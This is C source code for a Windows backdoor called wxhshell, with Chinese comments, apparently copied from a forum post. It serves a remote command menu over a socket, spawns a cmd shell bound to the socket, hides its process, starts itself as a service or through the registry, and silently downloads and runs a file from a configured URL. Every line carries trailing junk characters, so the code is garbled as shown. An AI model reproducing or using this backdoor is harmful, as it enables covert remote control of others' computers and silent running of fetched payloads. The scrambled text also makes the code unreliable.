  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); VtzZ1/J E  
  } 0 N7I:vJ  
  else { X\!q8KEpR&  
l-W)? d  
    switch(cmd[0]) { :I7qw0?  
  [r>hK ZU2  
  // 帮助  "2%R?  
  case '?': { D3aX\ NGP  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); KO8vUR*2R  
    break; 2m*ugBO;  
  } p' ^}J$  
  // 安装 yB7si(,1>  
  case 'i': { =%I[o=6  
    if(Install())  U%r{{Q1  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); 2X' H^t]7  
    else )M Iw/  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); HLz<C  
    break; /Z*$k{qIR&  
    } L|APXy]>  
  // 卸载 r)>'cjx/  
  case 'r': { SE(<(w  
    if(Uninstall()) *IbDA  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); Y<POdbg  
    else z5({A2q  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); hoBFC1  
    break; W:n\,P  
    } ;C o"bP's  
  // 显示 wxhshell 所在路径 )?&mCI*  
  case 'p': { o7+<sL  
    char svExeFile[MAX_PATH]; bS:$VyH6  
    strcpy(svExeFile,"\n\r"); GB `n  
      strcat(svExeFile,ExeFile); } -4p8Zt  
        send(wsh,svExeFile,strlen(svExeFile),0); z|AknEE,  
    break; &/uakkS  
    } U[;ECw@  
  // 重启 ;(,GS@sP  
  case 'b': { PJKY$s.  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); EhO\N\p(Q=  
    if(Boot(REBOOT)) pvt/{  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); u* iqwm.  
    else { ~hk!N!J\  
    closesocket(wsh); IA1O]i S  
    ExitThread(0); *tZ3?X[b  
    } |U1u:=[  
    break; 5C*Zb3VG4  
    } p({|=+bl  
  // 关机 NY?iuWa*g  
  case 'd': { /Tl ybSC1  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); )N{PWSPs  
    if(Boot(SHUTDOWN)) 8z=o.\@  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); |#*+#27  
    else { 4ybOK~z  
    closesocket(wsh); HSG9|}$  
    ExitThread(0); #F .8x@  
    } < :eKXH2  
    break; jc6~V$3  
    } Gg6cjc=dC  
  // 获取shell $+e(k~  
  case 's': { {3vm]  
    CmdShell(wsh); Rbm+V{EF&  
    closesocket(wsh); ' )F@em  
    ExitThread(0); -,=)O  
    break; Np9Pae'  
  } rf$[8d  
  // 退出 \2@9k`  
  case 'x': { )tV]h#4  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); ND9;%<80  
    CloseIt(wsh); hhjsg?4uL  
    break; *X|%H-Q:H`  
    } Dh{P23}  
  // 离开 FGwgSrXL7  
  case 'q': { ,V4pFQzL  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); t?uw^nV3E  
    closesocket(wsh); &U.y):  
    WSACleanup(); c$A}mL_  
    exit(1); e!i.u'z  
    break; =|-xj h  
        } F+xMXBD@>*  
  } bg4VHT7?>)  
  } <N 80MU L|  
g5Hsz,x  
  // 提示信息 I GcR5/3  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); S9/\L6Rmf  
} DML0paOm5  
  } P#A|Pn<p  
8r\xQr'8h  
  return; 5U<o%+^El  
} Pt;\]?LVrD  
~ C_2D?  
// shell模块句柄 g=v[@{9Pw  
int CmdShell(SOCKET sock) E\}Q9, Z$  
{ kr1^`>O5  
STARTUPINFO si; d7c m?+  
ZeroMemory(&si,sizeof(si)); QQ,w:OjA0  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; A@k=Mk  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; >W8PLo+i  
PROCESS_INFORMATION ProcessInfo; oDA'}[/  
char cmdline[]="cmd"; JR_c]AQYu  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); L?y,xA_  
  return 0;  [7)#3  
} zgpPu4t  
VKrKA71Z~  
// 自身启动模式 BT{({3  
int StartFromService(void) uqy~hY  
{ 9>@"W-  
typedef struct 1G8t=IA%D  
{ b;|^62  
  DWORD ExitStatus; eP3 itrH(  
  DWORD PebBaseAddress; :\1&5Pm]  
  DWORD AffinityMask; 9Bmgz =8  
  DWORD BasePriority; JeCEj=_Z  
  ULONG UniqueProcessId; X_|} b[b  
  ULONG InheritedFromUniqueProcessId; }fxH>79g  
}   PROCESS_BASIC_INFORMATION; -3b0;L&4>x  
lu.2ZQE  
PROCNTQSIP NtQueryInformationProcess; Ki@8  
Ix5yQgnB}j  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; 0MzHr2?'P  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; 3 ?/}  
|y=D^NTG  
  HANDLE             hProcess; #$fFp  
  PROCESS_BASIC_INFORMATION pbi; *m]%eU(  
Z=sAR(n}~  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); EA>$t\z  
  if(NULL == hInst ) return 0; a. 5`Q2  
~JT{!wcE}o  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); eS Fmx  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); [K9q+  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); I3aEg  
+~/zCJ;F  
  if (!NtQueryInformationProcess) return 0; \J\1i=a-=  
CblL1q8  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); f%auz4CZz  
  if(!hProcess) return 0; /3Gv51'  
Qg oXOVo6  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; ,|c_l)  
~d5{Q?T)  
  CloseHandle(hProcess); Wj*6}N/  
wy&*6>.  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); O "h+i>|l  
if(hProcess==NULL) return 0; n:!J3pR  
I2l'y8)d  
HMODULE hMod; a+BA~|u^  
char procName[255]; Em.?  
unsigned long cbNeeded; cE]kI,Fw,M  
$1@{Zz!S  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); Hm^p^,}_x  
{S&&X&A`v  
  CloseHandle(hProcess); *AN#D?X_  
|m EJJg`"7  
if(strstr(procName,"services")) return 1; // 以服务启动 %yrP: fg/  
O@Kr}8^,  
  return 0; // 注册表启动 Ua3ERBX{  
} F^~#D, \  
E|Lh$9XONA  
// 主模块 n*xNMw1x"T  
int StartWxhshell(LPSTR lpCmdLine) aY+>85?g  
{ LtvyWc`  
  SOCKET wsl; ) D`_V.,W  
BOOL val=TRUE; BZ T%+s;u9  
  int port=0; wb9zJAsc  
  struct sockaddr_in door; }w@nZG ^&  
Y\x Xo?  
  if(wscfg.ws_autoins) Install(); RGKJO_*J2  
+[7u>RJ  
port=atoi(lpCmdLine); K^vMIoh  
g?+P&FL#I  
if(port<=0) port=wscfg.ws_port; ?{dno=  
6a!X`%N=  
  WSADATA data; VEZ/-s/  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; 0\o'd\  
?k?Hp:8?=  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   s`2o\]  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); zc(7p;w#p  
  door.sin_family = AF_INET; xMh&C{q  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); cS[`1y,\3  
  door.sin_port = htons(port); 0nuFWV  
A,/S/_Q=  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { P$QfcJq&c*  
closesocket(wsl); j)5Vv K\  
return 1; i xyjl[G  
} 1FX-#Y`e  
Ek BM>*W  
  if(listen(wsl,2) == INVALID_SOCKET) { mnia>; 0H  
closesocket(wsl); J{ Vl2P?@  
return 1; j?(QieBH  
} fe$WR~  
  Wxhshell(wsl); (TQXG^n$gY  
  WSACleanup(); 'mM5l*{  
!1_:nD  
return 0; 3QVng^"B)  
kgu+ q\?  
} lb('r"*.  
"869n37  
// 以NT服务方式启动 M@3H]t?  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) zYNJF>^<  
{ U|QDV16f  
DWORD   status = 0; |g{AD`  
  DWORD   specificError = 0xfffffff; 57}q'84  
Sq'z<}o  
  serviceStatus.dwServiceType     = SERVICE_WIN32; P;/T`R=Vr"  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; wtKh8^:YD  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; ]=3O,\  
  serviceStatus.dwWin32ExitCode     = 0; `xr%LsNn  
  serviceStatus.dwServiceSpecificExitCode = 0; +1%6-g4 "  
  serviceStatus.dwCheckPoint       = 0; 7$;$4.'  
  serviceStatus.dwWaitHint       = 0; G!IQ<FuY  
U8mu<)  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); pf_ /jR  
  if (hServiceStatusHandle==0) return; 2 ^aTW`>L  
>seB["C  
status = GetLastError(); BSY#xe V  
  if (status!=NO_ERROR) GS H{1VS_b  
{ >A/=eW/q  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; (r4\dp&  
    serviceStatus.dwCheckPoint       = 0; d w|0K+-PH  
    serviceStatus.dwWaitHint       = 0; "gz;Q  
    serviceStatus.dwWin32ExitCode     = status; ;~J~g#  
    serviceStatus.dwServiceSpecificExitCode = specificError; _<7FR:oBZ  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); #u$z-M !  
    return; `vSsgG  
  } ){:aGGtko  
v(O.GhJ@  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; ;=OH=+R l  
  serviceStatus.dwCheckPoint       = 0; ^xwFjQXx  
  serviceStatus.dwWaitHint       = 0; (Wqhuw!u  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); (YOgQ)},  
} I .ty-X]  
z"#.o^5  
// 处理NT服务事件,比如:启动、停止 !)=o,sVA  
VOID WINAPI NTServiceHandler(DWORD fdwControl) CmOb+:4@K  
{ Q:\hh=^  
switch(fdwControl) _1'Pb/1  
{ [)A#9L~s=  
case SERVICE_CONTROL_STOP: *&]l  
  serviceStatus.dwWin32ExitCode = 0; 2LU'C,o?  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; M\f0 =`g  
  serviceStatus.dwCheckPoint   = 0; s|T7)PgR  
  serviceStatus.dwWaitHint     = 0; F{ ,O+\  
  { I\~V0<"jI  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); *zWn4BckN  
  } 'r%oOZk)z  
  return; jxaoQeac  
case SERVICE_CONTROL_PAUSE: v2{s2kB=  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; |Y11sDa9h  
  break; ]r6bJ 2  
case SERVICE_CONTROL_CONTINUE: Bl];^W^P  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; 6pR#z@,  
  break; aw1J#5j`n  
case SERVICE_CONTROL_INTERROGATE: M'iKk[Hjfx  
  break; ~@a R5Q>us  
}; f,>i%.  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); ex458^N_  
} ]o$/xP  
0)!zhO_}  
// 标准应用程序主函数 ,be?GAq  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) m5N&7qgp  
{ wlM ?gQXU[  
w ZAXfNA  
// 获取操作系统版本 ~0|hobk  
OsIsNt=GetOsVer(); 2\de |'  
GetModuleFileName(NULL,ExeFile,MAX_PATH); ~*Qpv&y)  
x["  
  // 从命令行安装 nif' l/@"  
  if(strpbrk(lpCmdLine,"iI")) Install(); Rn_c9p  
9lCKz !E  
  // 下载执行文件 rgKn=8+a  
if(wscfg.ws_downexe) { RzQS@^u*F0  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) d Al<'~g  
  WinExec(wscfg.ws_filenam,SW_HIDE); Zd ,=  
} V bOLTc  
RfG$Px '  
if(!OsIsNt) { +hgCk87%#  
// 如果时win9x,隐藏进程并且设置为注册表启动 <v k$eB8EC  
HideProc(); Ai18]QD-  
StartWxhshell(lpCmdLine);  u$8MVP  
} Cl!jK^AbG  
else {1|7N GQ  
  if(StartFromService()) ZF (=^.gc  
  // 以服务方式启动 {C6;$#7P  
  StartServiceCtrlDispatcher(DispatchTable); UE w3AO  
else T9-a uK0d  
  // 普通方式启动 yW?%c#9D  
  StartWxhshell(lpCmdLine); bU`yymf{L  
{+9\o ~  
return 0; n9!3h?,g  
}
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只看该作者 1 发表于: 2006-10-10
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